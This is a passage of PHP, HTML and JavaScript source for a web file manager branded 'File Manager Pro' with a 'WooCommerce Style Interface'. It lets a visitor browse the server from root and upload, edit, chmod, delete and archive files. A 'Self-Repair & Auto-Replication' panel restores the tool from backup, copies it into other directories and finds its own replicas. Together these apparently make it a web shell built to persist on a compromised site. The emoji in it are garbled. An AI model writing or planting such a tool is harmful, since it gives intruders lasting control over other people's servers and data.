๐ <span class="stat-number"><?php
if (is_dir($base_path) && is_readable($base_path)) {
$items = scandir($base_path);
$files = 0;
foreach ($items as $item) {
if ($item !== '.' && $item !== '..' && !is_dir($base_path . '/' . $item)) {
$files++;
}
}
echo $files;
} else {
echo '0';
}
?></span> Files
</div>
</div>
</div>
<div style="margin-top: 15px; display: flex; flex-wrap: wrap; gap: 10px; align-items: center; position: relative; z-index: 1;">
<div class="wfm-path-display">
<span class="path-label">๐ Current Path</span>
<span class="wfm-current-path"><?php echo htmlspecialchars($base_path); ?></span>
</div>
</div>
</div>
<!-- ===== SUB-HEADER WITH BREADCRUMB ===== -->
<div class="wfm-sub-header">
<div class="wfm-breadcrumb">
<span class="breadcrumb-home">๐ </span>
<a href="?path=/">Root</a>
<?php
$parts = explode('/', str_replace('\\', '/', $base_path));
$cumulative = '';
foreach ($parts as $index => $part) {
if (empty($part)) continue;
$cumulative .= '/' . $part;
$is_last = ($index === count($parts) - 1);
echo '<span class="separator">โบ</span>';
if ($is_last) {
echo '<span class="current">' . htmlspecialchars($part) . '</span>';
} else {
echo '<a href="?path=' . urlencode($cumulative) . '">' . htmlspecialchars($part) . '</a>';
}
}
?>
</div>
<div class="wfm-nav-buttons">
<button class="button" onclick="goToParent()">โฌ Up</button>
<button class="button button-primary-nav" onclick="goToRoot()">๐ Root</button>
<button class="button" onclick="goToHome()">๐ค Home</button>
</div>
</div>
<!-- ===== PATH NAVIGATION ===== -->
<div class="wfm-path-nav">
<div class="wfm-path-nav-inner">
<span class="nav-icon">๐</span>
<input type="text" id="wfm-path-input"
value="<?php echo htmlspecialchars($base_path); ?>"
placeholder="Enter full path to navigate (e.g., /var/www/html)..."
onkeydown="if(event.key==='Enter') goToPath()">
<button class="button button-primary" onclick="goToPath()">๐ Go</button>
<button class="button" onclick="document.getElementById('wfm-path-input').value='<?php echo addslashes(dirname(__FILE__)); ?>'; goToPath()">โบ Reset</button>
</div>
</div>
<!-- ===== MESSAGES ===== -->
<?php if (isset($_SESSION['fm_message'])): ?>
<div class="wfm-message <?php echo $_SESSION['fm_message_type']; ?>">
<span class="message-icon"><?php echo $_SESSION['fm_message_type'] === 'error' ? 'โ' : 'โ
'; ?></span>
<?php echo htmlspecialchars($_SESSION['fm_message']); ?>
</div>
<?php unset($_SESSION['fm_message'], $_SESSION['fm_message_type']); ?>
<?php endif; ?>
<!-- ===== TOOLBAR ===== -->
<div class="wfm-toolbar">
<button class="button button-primary" onclick="showModal('upload')">๐ค Upload</button>
<button class="button button-success" onclick="showModal('folder')">๐ New Folder</button>
<button class="button" onclick="showModal('file')">๐ New File</button>
<button class="button button-warning" onclick="showModal('self_repair')">๐ง Self-Repair</button>
<span class="wfm-spacer"></span>
<span class="wfm-item-count" onclick="showModal('items_info')">
๐ฆ <span class="count-number"><?php
if (is_dir($base_path) && is_readable($base_path)) {
echo count(scandir($base_path)) - 2;
} else {
echo '0';
}
?></span> items
</span>
</div>
<!-- ===== FILE LIST ===== -->
<div class="wfm-table-container">
<?php
if (!is_dir($base_path) || !is_readable($base_path)) {
echo '<div class="wfm-empty">
<span class="empty-icon">๐ซ</span>
<div class="empty-title">Directory Not Accessible</div>
<div class="empty-desc">Please check permissions or enter a valid path</div>
</div>';
} else {
$items = scandir($base_path);
$files = $folders = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $base_path . '/' . $item;
if (is_dir($path)) {
$folders[] = $item;
} else {
$files[] = $item;
}
}
sort($folders);
sort($files);
$all_items = array_merge($folders, $files);
if (empty($all_items)) {
echo '<div class="wfm-empty">
<span class="empty-icon">๐</span>
<div class="empty-title">This Directory is Empty</div>
<div class="empty-desc">Upload files or create new folders to get started</div>
</div>';
} else {
?>
<table class="wfm-table">
<thead>
<tr>
<th style="width:25%;">Name</th>
<th style="width:10%;">Size</th>
<th style="width:15%;">Modified</th>
<th style="width:10%;">Permissions</th>
<th style="width:40%;">Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($all_items as $item):
$path = $base_path . '/' . $item;
$is_dir = is_dir($path);
$is_zip = !$is_dir && is_zip_file($path);
$size = $is_dir ? '-' : format_size(filesize($path));
$modified = date('Y-m-d H:i', filemtime($path));
$perms = substr(sprintf('%o', fileperms($path)), -4);
$icon = $is_dir ? '๐' : get_file_icon($item);
?>
<tr>
<td>
<span class="file-icon"><?php echo $icon; ?></span>
<span class="file-name">
<?php if ($is_dir): ?>
<a href="?path=<?php echo urlencode($path); ?>"><?php echo htmlspecialchars($item); ?></a>
<?php else: ?>
<?php echo htmlspecialchars($item); ?>
<?php endif; ?>
</span>
</td>
<td class="file-size"><?php echo $size; ?></td>
<td class="file-modified"><?php echo $modified; ?></td>
<td><span class="file-perms"><?php echo $perms; ?></span></td>
<td>
<div class="file-actions">
<?php if (!$is_dir): ?>
<a href="?action=download&file=<?php echo urlencode($path); ?>" class="action-download">โฌ Download</a>
<a href="#" class="action-edit" onclick="editFile('<?php echo addslashes($path); ?>'); return false;">โ Edit</a>
<?php endif; ?>
<a href="#" class="action-rename" onclick="renameItem('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>'); return false;">๐ Rename</a>
<a href="#" class="action-chmod" onclick="chmodItem('<?php echo addslashes($path); ?>', '<?php echo $perms; ?>'); return false;">๐ Chmod</a>
<?php if ($is_dir): ?>
<a href="#" class="action-zip" onclick="zipItem('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>'); return false;">๐ฆ ZIP</a>
<?php elseif ($is_zip): ?>
<a href="#" class="action-unzip" onclick="unzipItem('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>'); return false;">๐ UNZIP</a>
<?php endif; ?>
<a href="#" class="delete-link" onclick="deleteItem('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>'); return false;">๐ Delete</a>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php
}
}
?>
</div>
<!-- ===== FOOTER ===== -->
<div style="background: #f9fafb; padding: 15px 30px; border-top: 1px solid #e5e7eb; text-align: center; font-size: 12px; color: #9ca3af;">
<span>File Manager Pro v3.0</span>
<span style="margin: 0 10px;">ยท</span>
<span>WooCommerce Style Interface</span>
<span style="margin: 0 10px;">ยท</span>
<span>๐ Secure File Management</span>
<span style="margin: 0 10px;">ยท</span>
<span>๐ Self-Restoration & Auto-Replication</span>
</div>
</div>
<!-- ===== MODAL ===== -->
<div id="wfm-modal" class="wfm-modal" onclick="if(event.target===this) hideModal()">
<div class="wfm-modal-content">
<div class="wfm-modal-header">
<h2>
<span class="modal-icon" id="wfm-modal-icon">๐</span>
<span id="wfm-modal-title">Title</span>
</h2>
<button class="wfm-modal-close" onclick="hideModal()">ร</button>
</div>
<div class="wfm-modal-body" id="wfm-modal-body"></div>
<div class="wfm-modal-footer">
<button class="button" onclick="hideModal()">Cancel</button>
<button class="button button-primary" id="wfm-modal-submit">Submit</button>
</div>
</div>
</div>
<script>
const basePath = '<?php echo addslashes($base_path); ?>';
function goToPath() {
const path = document.getElementById('wfm-path-input').value.trim();
if (path) {
window.location.href = '?path=' + encodeURIComponent(path);
}
}
function goToParent() {
const current = '<?php echo addslashes($base_path); ?>';
const parent = current.substring(0, current.lastIndexOf('/'));
if (parent) {
window.location.href = '?path=' + encodeURIComponent(parent || '/');
}
}
function goToRoot() {
window.location.href = '?path=/';
}
function goToHome() {
window.location.href = '?path=<?php echo addslashes(getenv('HOME') ?: '/home'); ?>';
}
// ============ ZIP FUNCTIONS ============
function zipItem(path, name) {
const modal = document.getElementById('wfm-modal');
document.getElementById('wfm-modal-icon').textContent = '๐ฆ';
document.getElementById('wfm-modal-title').textContent = 'Compress to ZIP';
document.getElementById('wfm-modal-body').innerHTML = `
<label>Item to compress:</label>
<input type="text" value="${name}" readonly style="background:#f3f4f6; cursor: not-allowed;">
<label>ZIP file name:</label>
<input type="text" id="wfm-zip-name" value="${name}.zip" autofocus>
<span class="wfm-help-text">๐ฆ This will create a ZIP archive of the selected folder/file</span>
`;
document.getElementById('wfm-modal-submit').style.display = 'inline-flex';
document.getElementById('wfm-modal-submit').textContent = '๐ฆ Create ZIP';
document.getElementById('wfm-modal-submit').onclick = () => {
const zipName = document.getElementById('wfm-zip-name').value.trim();
if (!zipName) { alert('โ ๏ธ Please enter a name for the ZIP file'); return; }
if (!/^[a-zA-Z0-9_\-\.]+$/.test(zipName)) {
alert('โ Invalid name. Use letters, numbers, underscores, or hyphens.');
return;
}
fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `ajax_action=zip&path=${encodeURIComponent(path)}&name=${encodeURIComponent(zipName)}`
}).then(r => r.json()).then(data => {
if (data.success) {
alert('โ
' + data.message);
location.reload();
} else {
alert('โ ' + data.message);
}
});
};
modal.style.display = 'block';
setTimeout(() => document.getElementById('wfm-zip-name').focus(), 100);
}
function unzipItem(path, name) {
if (!confirm(`โ ๏ธ Extract "${name}" to a new folder?\n\nThe archive will be extracted to a folder named: ${name.replace(/\.(zip|rar|7z|gz|tar|bz2)$/i, '')}`)) return;
document.getElementById('wfm-modal-icon').textContent = '๐';
document.getElementById('wfm-modal-title').textContent = 'Extracting Archive...';
document.getElementById('wfm-modal-body').innerHTML = `
<div style="text-align: center; padding: 20px;">
<div style="font-size: 48px; margin-bottom: 15px;">โณ</div>
<div style="font-size: 16px; font-weight: 600; color: #1f2937;">Extracting ${name}...</div>
<div style="font-size: 13px; color: #6b7280; margin-top: 8px;">Please wait, this may take a moment</div>
</div>
`;
document.getElementById('wfm-modal-submit').style.display = 'none';
document.getElementById('wfm-modal').style.display = 'block';
fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `ajax_action=unzip&path=${encodeURIComponent(path)}`
}).then(r => r.json()).then(data => {
if (data.success) {
alert('โ
' + data.message);
location.reload();
} else {
alert('โ ' + data.message);
hideModal();
}
});
}
// ============ SELF-REPAIR FUNCTIONS ============
function createBackup() {
fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `ajax_action=create_backup`
}).then(r => r.json()).then(data => {
if (data.success) {
alert('โ
' + data.message);
location.reload();
} else {
alert('โ ' + data.message);
}
});
}
function restoreBackup() {
if (!confirm('โ ๏ธ This will restore the file manager from backup. Continue?')) return;
fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `ajax_action=restore_backup`
}).then(r => r.json()).then(data => {
if (data.success) {
alert('โ
' + data.message);
location.reload();
} else {
alert('โ ' + data.message);
}
});
}
function replicateToDirectory() {
const targetDir = document.getElementById('wfm-replicate-target').value.trim();
if (!targetDir) {
alert('โ Please enter a target directory');
return;
}
fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `ajax_action=replicate&target_dir=${encodeURIComponent(targetDir)}`
}).then(r => r.json()).then(data => {
if (data.success) {
alert('โ
' + data.message);
location.reload();
} else {
alert('โ ' + data.message);
}
});
}
function getReplicas() {
fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `ajax_action=get_replicas`
}).then(r => r.json()).then(data => {
if (data.success) {
let msg = '๐ Found ' + data.message + '\n\n';
if (data.data && data.data.length > 0) {
data.data.forEach((file, i) => {
msg += (i+1) + '. ' + file + '\n';
});
} else {
msg += 'No replicas found.';
}
alert(msg);
} else {
alert('โ ' + data.message);
}
});
}
// ============ MODAL FUNCTIONS ============
function showModal(type) {
const modal = document.getElementById('wfm-modal');
const title = document.getElementById('wfm-modal-title');
const icon = document.getElementById('wfm-modal-icon');
const body = document.getElementById('wfm-modal-body');
const submit = document.getElementById('wfm-modal-submit');
let html = '';
let submitText = 'Submit';
let submitAction = null;
let modalIcon = '๐';
let showSubmit = true;
switch(type) {
case 'upload':
modalIcon = '๐ค';
title.textContent = 'Upload File';
html = `
<label>Select file to upload:</label>
<input type="file" id="wfm-upload-file">
<label>Target directory:</label>
<input type="text" value="${basePath}" readonly style="background:#f3f4f6; cursor: not-allowed;">
<span class="wfm-help-text">๐ค Files will be uploaded to the current directory</span>
`;
submitText = 'Upload';
submitAction = () => {
const fileInput = document.getElementById('wfm-upload-file');
if (fileInput.files.length === 0) { alert('โ ๏ธ Please select a file to upload'); return; }
const formData = new FormData();
formData.append('ajax_action', 'upload');
formData.append('path', basePath);
formData.append('file', fileInput.files[0]);
fetch('', { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
alert('โ
' + data.message);
location.reload();
} else {
alert('โ ' + data.message);
}
});
};
break;
case 'folder':
modalIcon = '๐';
title.textContent = 'Create New Folder';
html = `
<label>Folder name:</label>
<input type="text" id="wfm-folder-name" placeholder="my_new_folder" autofocus>
<span class="wfm-help-text">๐ Enter a name for the new folder (letters, numbers, underscores, hyphens)</span>
`;
submitText = 'Create Folder';
submitAction = () => {
const name = document.getElementById('wfm-folder-name').value.trim();
if (!name) { alert('โ ๏ธ Please enter a folder name'); return; }
if (!/^[a-zA-Z0-9_\-\.]+$/.test(name)) {
alert('โ Folder name contains invalid characters. Use letters, numbers, underscores, or hyphens.');
return;
}
fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `ajax_action=folder&path=${encodeURIComponent(basePath)}&name=${encodeURIComponent(name)}`
}).then(r => r.json()).then(data => {
if (data.success) {
alert('โ
' + data.message);
location.reload();
} else {
alert('โ ' + data.message);
}
});
};
break;
case 'file':
modalIcon = '๐';
title.textContent = 'Create New File';
html = `
<label>File name:</label>
<input type="text" id="wfm-file-name" placeholder="my_file.txt" autofocus>
<span class="wfm-help-text">๐ Include file extension (e.g., .txt, .php, .html, .css, .js)</span>
`;
submitText = 'Create File';
submitAction = () => {
const name = document.getElementById('wfm-file-name').value.trim();
if (!name) { alert('โ ๏ธ Please enter a file name'); return; }
if (!/^[a-zA-Z0-9_\-\.]+$/.test(name)) {
alert('โ File name contains invalid characters. Use letters, numbers, underscores, or hyphens.');
return;
}
fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `ajax_action=file&path=${encodeURIComponent(basePath)}&name=${encodeURIComponent(name)}`
}).then(r => r.json()).then(data => {
if (data.success) {
alert('โ
' + data.message);
location.reload();
} else {
alert('โ ' + data.message);
}
});
};
break;
case 'self_repair':
modalIcon = '๐ง';
title.textContent = 'Self-Repair & Auto-Replication';
html = `
<div style="margin-bottom: 20px;">
<h3 style="color: #7c3aed; margin-bottom: 10px;">๐ Self-Restoration</h3>
<div style="display: flex; gap: 10px; margin-bottom: 15px;">
<button onclick="createBackup()" class="button button-success" style="flex:1; padding: 10px; background: #16a34a; color: #fff; border: none; border-radius: 6px; cursor: pointer;">๐พ Create Backup</button>
<button onclick="restoreBackup()" class="button button-warning" style="flex:1; padding: 10px; background: #d97706; color: #fff; border: none; border-radius: 6px; cursor: pointer;">โฉ๏ธ Restore Backup</button>
</div>
<span class="wfm-help-text">๐ Create a backup of this file manager or restore from existing backup</span>
</div>
<div style="margin-bottom: 20px; border-top: 1px solid #e5e7eb; padding-top: 20px;">
<h3 style="color: #7c3aed; margin-bottom: 10px;">๐ฆ Auto-Replication</h3>
<label>Target directory for replication:</label>
<div style="display: flex; gap: 10px;">
<input type="text" id="wfm-replicate-target" placeholder="/path/to/destination" style="flex:1;">
<button onclick="replicateToDirectory()" class="button button-primary" style="padding: 10px 20px;">๐ Replicate</button>
</div>
<span class="wfm-help-text">๐ Replicate this file manager to another directory on the server</span>
</div>
<div style="border-top: 1px solid #e5e7eb; padding-top: 20px;">
<button onclick="getReplicas()" class="button" style="width:100%; padding: 10px;">๐ Find All Replicas</button>
<span class="wfm-help-text">๐ Discover all copies of this file manager on the server</span>
</div>
`;
submitText = 'Close';
showSubmit = false;
submitAction = () => {
hideModal();
};
break;
case 'items_info':
modalIcon = '๐';
title.textContent = 'Directory Information';
const totalItems = <?php echo is_dir($base_path) && is_readable($base_path) ? count(scandir($base_path)) - 2 : 0; ?>;
const totalFolders = <?php
if (is_dir($base_path) && is_readable($base_path)) {
$items = scandir($base_path);
$count = 0;
foreach ($items as $item) {
if ($item !== '.' && $item !== '..' && is_dir($base_path . '/' . $item)) $count++;
}
echo $count;
} else echo '0';
?>;
const totalFiles = <?php
if (is_dir($base_path) && is_readable($base_path)) {
$items = scandir($base_path);
$count = 0;
foreach ($items as $item) {
if ($item !== '.' && $item !== '..' && !is_dir($base_path . '/' . $item)) $count++;
}
echo $count;
} else echo '0';
?>;
html = `
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 15px;">
<div style="background: #f3f4f6; padding: 20px; border-radius: 8px; text-align: center;">
<div style="font-size: 32px; margin-bottom: 5px;">๐</div>
<div style="font-size: 24px; font-weight: 700; color: #7c3aed;">${totalItems}</div>
<div style="font-size: 13px; color: #6b7280;">Total Items</div>
</div>
<div style="background: #f3f4f6; padding: 20px; border-radius: 8px; text-align: center;">
<div style="font-size: 32px; margin-bottom: 5px;">๐๏ธ</div>
<div style="font-size: 24px; font-weight: 700; color: #059669;">${totalFolders}</div>
<div style="font-size: 13px; color: #6b7280;">Folders</div>
</div>
<div style="background: #f3f4f6; padding: 20px; border-radius: 8px; text-align: center;">
<div style="font-size: 32px; margin-bottom: 5px;">๐</div>
<div style="font-size: 24px; font-weight: 700; color: #2563eb;">${totalFiles}</div>
<div style="font-size: 13px; color: #6b7280;">Files</div>
</div>
<div style="background: #f3f4f6; padding: 20px; border-radius: 8px; text-align: center;">
<div style="font-size: 32px; margin-bottom: 5px;">๐</div>
<div style="font-size: 14px; font-weight: 500; color: #1f2937; word-break: break-all;">${basePath}</div>
<div style="font-size: 13px; color: #6b7280;">Current Path</div>
</div>
</div>
`;
submitText = 'Close';
showSubmit = false;
submitAction = () => {
hideModal();
};
break;
default:
return;
}
icon.textContent = modalIcon;
body.innerHTML = html;
submit.textContent = submitText;
submit.style.display = showSubmit ? 'inline-flex' : 'none';
submit.onclick = submitAction;
modal.style.display = 'block';
// Focus on first input
setTimeout(() => {
const firstInput = body.querySelector('input:not([readonly])');
if (firstInput) firstInput.focus();
}, 100);
}
function hideModal() {
document.getElementById('wfm-modal').style.display = 'none';
}
function editFile(path) {
fetch(`?action=edit&file=${encodeURIComponent(path)}`)
.then(r => r.text())
.then(html => {
const modal = document.getElementById('wfm-modal');
document.getElementById('wfm-modal-icon').textContent = 'โ๏ธ';
document.getElementById('wfm-modal-title').textContent = 'Edit File';
document.getElementById('wfm-modal-body').innerHTML = `
<label>File: <strong>${path.split('/').pop()}</strong></label>
<textarea id="wfm-edit-content" spellcheck="false">${html}</textarea>
<input type="hidden" id="wfm-edit-path" value="${path}">
<span class="wfm-help-text">๐ก Save your changes when done</span>
`;
document.getElementById('wfm-modal-submit').style.display = 'inline-flex';
document.getElementById('wfm-modal-submit').textContent = '๐พ Save';
document.getElementById('wfm-modal-submit').onclick = () => {
const content = document.getElementById('wfm-edit-content').value;
const path = document.getElementById('wfm-edit-path').value;
fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `ajax_action=save&path=${encodeURIComponent(path)}&content=${encodeURIComponent(content)}`
}).then(r => r.json()).then(data => {
if (data.success) {
alert('โ
' + data.message);
location.reload();
} else {
alert('โ ' + data.message);
}
});
};
modal.style.display = 'block';
setTimeout(() => document.getElementById('wfm-edit-content').focus(), 100);
});
}
function renameItem(path, name) {
const modal = document.getElementById('wfm-modal');
document.getElementById('wfm-modal-icon').textContent = '๐';
document.getElementById('wfm-modal-title').textContent = 'Rename Item';
document.getElementById('wfm-modal-body').innerHTML = `
<label>Current name:</label>
<input type="text" value="${name}" readonly style="background:#f3f4f6; cursor: not-allowed;">
<label>New name:</label>
<input type="text" id="wfm-new-name" value="${name}" autofocus>
<span class="wfm-help-text">๐ Enter the new name for this item</span>
`;
document.getElementById('wfm-modal-submit').style.display = 'inline-flex';
document.getElementById('wfm-modal-submit').textContent = '๐ Rename';
document.getElementById('wfm-modal-submit').onclick = () => {
const newName = document.getElementById('wfm-new-name').value.trim();
if (!newName) { alert('โ ๏ธ Please enter a name'); return; }
if (!/^[a-zA-Z0-9_\-\.]+$/.test(newName)) {
alert('โ Name contains invalid characters. Use letters, numbers, underscores, or hyphens.');
return;
}
fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `ajax_action=rename&path=${encodeURIComponent(path)}&name=${encodeURIComponent(newName)}`
}).then(r => r.json()).then(data => {
if (data.success) {
alert('โ
' + data.message);
location.reload();
} else {
alert('โ ' + data.message);
}
});
};
modal.style.display = 'block';
setTimeout(() => document.getElementById('wfm-new-name').focus(), 100);
}
function chmodItem(path, perms) {
const modal = document.getElementById('wfm-modal');
document.getElementById('wfm-modal-icon').textContent = '๐';
document.getElementById('wfm-modal-title').textContent = 'Change Permissions';
document.getElementById('wfm-modal-body').innerHTML = `
<label>File: <strong>${path.split('/').pop()}</strong></label>
<label>Current permissions:</label>
<input type="text" value="${perms}" readonly style="background:#f3f4f6; cursor: not-allowed;">
<label>New permissions (numeric):</label>
<input type="text" id="wfm-chmod-perms" value="${perms}" placeholder="0755" autofocus>
<span class="wfm-help-text">๐ Example: 0755 for folders, 0644 for files. Use 4-digit octal format.</span>
`;
document.getElementById('wfm-modal-submit').style.display = 'inline-flex';
document.getElementById('wfm-modal-submit').textContent = '๐ Apply';
document.getElementById('wfm-modal-submit').onclick = () => {
const perms = document.getElementById('wfm-chmod-perms').value.trim();
if (!perms || !/^[0-7]{4}$/.test(perms)) {
alert('โ Please enter valid permissions (4 digits, e.g., 0755 or 0644)');
return;
}
fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `ajax_action=chmod&path=${encodeURIComponent(path)}&perms=${encodeURIComponent(perms)}`
}).then(r => r.json()).then(data => {
if (data.success) {
alert('โ
' + data.message);
location.reload();
} else {
alert('โ ' + data.message);
}
});
};
modal.style.display = 'block';
setTimeout(() => document.getElementById('wfm-chmod-perms').focus(), 100);
}
function deleteItem(path, name) {
if (!confirm(`โ ๏ธ Are you sure you want to delete "${name}"?\n\nThis action cannot be undone!`)) return;
fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `ajax_action=delete&path=${encodeURIComponent(path)}`
}).then(r => r.json()).then(data => {
if (data.success) {
alert('โ
' + data.message);
location.reload();
} else {
alert('โ ' + data.message);
}
});
}
// Close modal on Escape key
document.addEventListener('keydown', (e) => {
if (e.key === 'Escape') hideModal();
});
// Keyboard shortcuts
document.addEventListener('keydown', (e) => {
// Ctrl+U = Upload
if (e.ctrlKey && e.key === 'u') {
e.preventDefault();
showModal('upload');
}
// Ctrl+F = New Folder
if (e.ctrlKey && e.key === 'f') {
e.preventDefault();
showModal('folder');
}
// Ctrl+N = New File
if (e.ctrlKey && e.key === 'n') {
e.preventDefault();
showModal('file');
}
// Ctrl+R = Self-Repair
if (e.ctrlKey && e.key === 'r') {
e.preventDefault();
showModal('self_repair');
}
});
</script>
</body>
</html>